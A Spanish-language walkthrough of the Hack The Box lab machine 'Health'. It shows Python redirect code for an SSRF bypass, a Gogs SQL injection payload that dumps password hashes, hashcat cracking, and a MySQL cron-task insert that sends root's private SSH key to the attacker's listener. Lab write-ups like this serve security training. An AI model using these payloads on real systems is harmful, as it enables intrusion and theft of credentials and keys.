Descripción
Health es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Aplicación web con vulnerabilidad de Server Side Request Forgery (SSRF) utilizando un servidor proxy y redirecciones
- Acceso a un servicio Gogs Git vulnerable a inyección SQL
- Despliegue de un servidor local de Gogs para encontrar la carga útil de inyección SQL para recuperar datos de usuarios
- Reconocimiento y recuperación de hashes de contraseñas
- Escalada de privilegios mediante el abuso de la funcionalidad Cron de la aplicación web ejecutada por el usuario
root
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo de la máquina. La dirección IP de la máquina objetivo es 10.10.11.176.
$ ping -c 3 10.10.11.176
PING 10.10.11.176 (10.10.11.176) 56(84) bytes of data.
64 bytes from 10.10.11.176: icmp_seq=1 ttl=63 time=48.1 ms
64 bytes from 10.10.11.176: icmp_seq=2 ttl=63 time=48.1 ms
64 bytes from 10.10.11.176: icmp_seq=3 ttl=63 time=48.4 ms
--- 10.10.11.176 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 48.095/48.219/48.447/0.161 ms
La máquina está activa y con el TTL que iguala 63 (64 menos 1 salto), podemos asegurarnos de que es una máquina Unix. Ahora vamos a realizar un escaneo de puertos TCP con Nmap para verificar todos los puertos abiertos.
$ sudo nmap 10.10.11.176 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.176
Host is up (0.048s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp filtered ppp
Nmap done: 1 IP address (1 host up) scanned in 3.11 seconds
Obtenemos dos puertos abiertos: 22, y 80.
Enumeración
Luego realizamos un escaneo más avanzado, con versión del servicio y scripts.
$ nmap 10.10.11.176 -sV -sC -p22,80,3000 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.176
Host is up (0.051s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 32:b7:f4:d4:2f:45:d3:30:ee:12:3b:03:67:bb:e6:31 (RSA)
| 256 86:e1:5d:8c:29:39:ac:d7:e8:15:e6:49:e2:35:ed:0c (ECDSA)
|_ 256 ef:6b:ad:64:d5:e4:5b:3e:66:79:49:f4:ec:4c:23:9f (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: HTTP Monitoring Tool
|_http-server-header: Apache/2.4.29 (Ubuntu)
3000/tcp filtered ppp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.26 seconds
Obtenemos dos servicios: uno Secure Shell (SSH), y uno Hypertext Transfer Protocol (HTTP). Como no tenemos credenciales viables para el servicio SSH, vamos a movernos al servicio HTTP. Añadimos el dominio health.htb al archivo /etc/hosts. El puerto 3000 está filtrado, posiblemente está abierto solo para conexiones de localhost.
$ echo '10.10.11.176 health.htb' | sudo tee -a /etc/hosts
Encontramos un sitio web que te permite comprobar remotamente si un servicio HTTP está disponible al crear un Webhook.
La aplicación podría estar vulnerable a la vulnerabilidad de Server Side Request Forgery, permitiendo el acceso a servicios internos, como el puerto 3000 que descubrimos anteriormente. Encontramos que existe una protección contra estos ataques ya que la aplicación no permite entradas tales como localhost o 127.0.0.1. Parece que el filtrado se realiza solo en el contenido que introducimos.
Vamos a crear un servidor HTTP que redirija al cliente a la URL deseada, en este caso http://127.0.0.1:3000/. Vamos a utilizar el siguiente código Python.
import http.server
import socketserver
import urllib.parse
class RedirectHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
parsed_path = urllib.parse.urlparse(self.path)
params = urllib.parse.parse_qs(parsed_path.query)
if 'url' in params:
redirect_url = params['url'][0]
self.send_response(302)
self.send_header('Location', redirect_url)
self.end_headers()
self.wfile.write(b'Redirecting...')
else:
super().do_GET()
if __name__ == "__main__":
PORT = 80
with socketserver.TCPServer(("", PORT), RedirectHandler) as httpd:
print(f"Web server http://localhost:{PORT}")
httpd.serve_forever()
Explotación
Entramos en la URL http://10.10.14.4/?url=http://localhost:3000 en el campo Monitored URL y luego iniciamos un escucha de puerto TCP para recibir la respuesta en la Payload URL: nc -nvlp 1234, como http://10.10.14.4:1234/. El Webhook debe ser enviado Always.
Recibimos el contenido del sitio web en nuestro servidor y encontramos que es un servidor Gogs Git.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.176] 42542
POST / HTTP/1.1
Host: 10.10.14.4:1234
Accept: */*
Content-type: application/json
Content-Length: 7691
Expect: 100-continue
{"webhookUrl":"http:\/\/10.10.14.4:1234\/","monitoredUrl":"http:\/\/10.10.14.4\/?url=http:\/\/localhost:3000","health":"up","body":"<!DOCTYPE html>\n<html>\n\t<head data-suburl=\"\">\n\t\t<meta http-equiv=\"Content-Type\" content=\"text\/html; charset=UTF-8\" \/>\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\"\/>\n <meta name=\"author\" content=\"Gogs - Go Git Service\"
...
<p class=\"left\" id=\"footer-rights\">\u00a9 2014 GoGits \u00b7 Version: 0.5.5.1010 Beta \u00b7 Page:
...
La versión utilizada es 0.5.5.1010, vulnerable a inyección SQL, CVE-2014-8682. Varios problemas de inyección SQL en Gogs (también conocido como Go Git Service) 0.3.1-9 hasta 0.5.x antes de 0.5.6.1105 Beta permiten a atacantes remotos ejecutar comandos SQL arbitrarios mediante el parámetro q a api/v1/repos/search. Después de leer el concepto de prueba de Exploit-DB encontramos la carga útil específica que vamos a utilizar para explotar la vulnerabilidad. Modificamos el script anterior para enviar la vulnerabilidad y recibir los datos de la base de datos.
$ cat server.py
import http.server
import socketserver
import urllib.parse
class RedirectHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
parsed_path = urllib.parse.urlparse(self.path)
params = urllib.parse.parse_qs(parsed_path.query)
if 'url' in params:
#redirect_url = params['url'][0]
redirect_url = '''http://localhost:3000/api/v1/users/search?q=')/**/UNION/**/ALL/**/SELECT/**/2833,2833,2833,2833,2833,2833,2833,2833,2833,2833,2833,2833,2833,2833,CHAR(113,120,106,112,113)||COALESCE((name/**/||CHAR(112,97,115,115,119,100)||/**/passwd/**/||CHAR(112,97,115,115,119,100)||CHAR(115,97,108,116)||salt||CHAR(115,97,108,116)||CHAR(114,97,110,100,115)||rands||CHAR(114,97,110,100,115)),CHAR(32))||CHAR(113,113,120,98,113),2833,2833,2833,2833,2833,2833,2833,2833,2833,2833,2833,2833/**/FROM/**/user--/**/KCpu'''
self.send_response(302)
self.send_header('Location', redirect_url)
self.end_headers()
self.wfile.write(b'Redirecting...')
else:
super().do_GET()
if __name__ == "__main__":
PORT = 80
with socketserver.TCPServer(("", PORT), RedirectHandler) as httpd:
print(f"Web server http://localhost:{PORT}")
httpd.serve_forever()
Recibimos la solicitud con los datos:
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.176] 32864
POST / HTTP/1.1
Host: 10.10.14.4:1234
Accept: */*
Content-type: application/json
Content-Length: 1275
Expect: 100-continue
{"webhookUrl":"http:\/\/10.10.14.4:1234\/","monitoredUrl":"http:\/\/10.10.14.4\/?url=http:\/\/localhost:3000","health":"up","body":"{\"data\":[{\"username\":\"susanne\",\"avatar\":\"\/\/1.gravatar.com\/avatar\/c11d48f16f254e918744183ef7b89fce\"},{\"username\":\"2833\",\"avatar\":\"\/\/1.gravatar.com\/avatar\/qxjpqsusannepasswd66c074645545781f1064fb7fd1177453db8f0ca2ce58a9d81c04be2e6d3ba2a0d6c032f0fd4ef83f48d74349ec196f4efe37passwdsaltsO3XIbeW14saltrandsm7483YfL9Krandsqqxbq\"}],
...
Podemos crear los siguientes campos: name como susanne, passwd como 66c074645545781f1064fb7fd1177453db8f0ca2ce58a9d81c04be2e6d3ba2a0d6c032f0fd4ef83f48d74349ec196f4efe37, salt como sO3XIbeW14 y rands como m7483YfL9K. Al leer el código fuente de Gogs encontramos que la aplicación guarda el hash en formato PBKDF2, por lo tanto convertimos el hash a un formato que Hashcat entenderá y luego recuperamos la contraseña.
$ hashcat -m 10900 "sha256:10000:$(echo -n sO3XIbeW14 | base64):$(echo -n 66c074645545781f1064fb7fd1177453db8f0ca2ce58a9d81c04be2e6d3ba2a0d6c032f0fd4ef83f48d74349ec196f4efe37 | xxd -r -p | base64)" /usr/share/wordlists/rockyou.txt
...
sha256:10000:c08zWEliZVcxNA==:ZsB0ZFVFeB8QZPt/0Rd0U9uPDKLOWKnYHAS+Lm07oqDWwDLw/U74P0jXQ0nsGW9O/jc=:february15
...
Encontramos la contraseña para el usuario susanne, february15, usamos para iniciar sesión en la máquina utilizando el servicio SSH.
$ ssh susanne@health.htb
...
susanne@health:~$ id
uid=1000(susanne) gid=1000(susanne) groups=1000(susanne)
Post-Explotación
Vimos en el sitio web que la aplicación utiliza un trabajo Cron para ejecutar los Webhooks periódicamente. Vamos a utilizar esto para agregar una tarea maliciosa en la base de datos MySQL para recuperar la clave SSH privada del usuario root. Encontramos las credenciales de MySQL en el archivo /var/www/html/.env. Añadimos la tarea. También necesitamos iniciar un puerto de escucha TCP: nc -nvlp 1234.
susanne@health:~$ cat /var/www/html/.env
...
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=laravel
DB_USERNAME=laravel
DB_PASSWORD=MYsql_strongestpass@2014+
...
susanne@health:~$ mysql -ularavel -p'MYsql_strongestpass@2014+' -h127.0.0.1 laravel
mysql> INSERT INTO tasks (id, monitoredUrl, onlyError, webhookUrl, frequency) VALUES ('b412772d-ff86-4fc3-b35d-26954207d5c1', 'file:///root/.ssh/id_rsa', 0, 'http://10.10.14.4:1234','* * * * *');
Query OK, 1 row affected (0.01 sec)
Recibimos la clave SSH, la formateamos y la usamos para crear una nueva sesión como el usuario root.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.176] 39294
POST / HTTP/1.1
Host: 10.10.14.4:1234
Accept: */*
Content-type: application/json
Content-Length: 1831
Expect: 100-continue
{"webhookUrl":"http:\/\/10.10.14.4:1234","monitoredUrl":"file:\/\/\/root\/.ssh\/id_rsa","health":"up","body":"-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEAwddD+eMlm...GTHjSZQoS3G\n-----END RSA PRIVATE KEY-----\n"}
$ nano id_rsa
$ sed -i 's/\\n/\n/g' id_rsa
$ sed -i 's/\\//g' id_rsa
$ chmod 600 id_rsa
$ ssh -i id_rsa root@health.htb
root@health:~# id
uid=0(root) gid=0(root) groups=0(root)
Flags
En la terminal root podemos recuperar las flags user.txt y root.txt.
root@health:~# cat /home/susanne/user.txt
<REDACTED>
root@health:~# cat /root/root.txt
<REDACTED>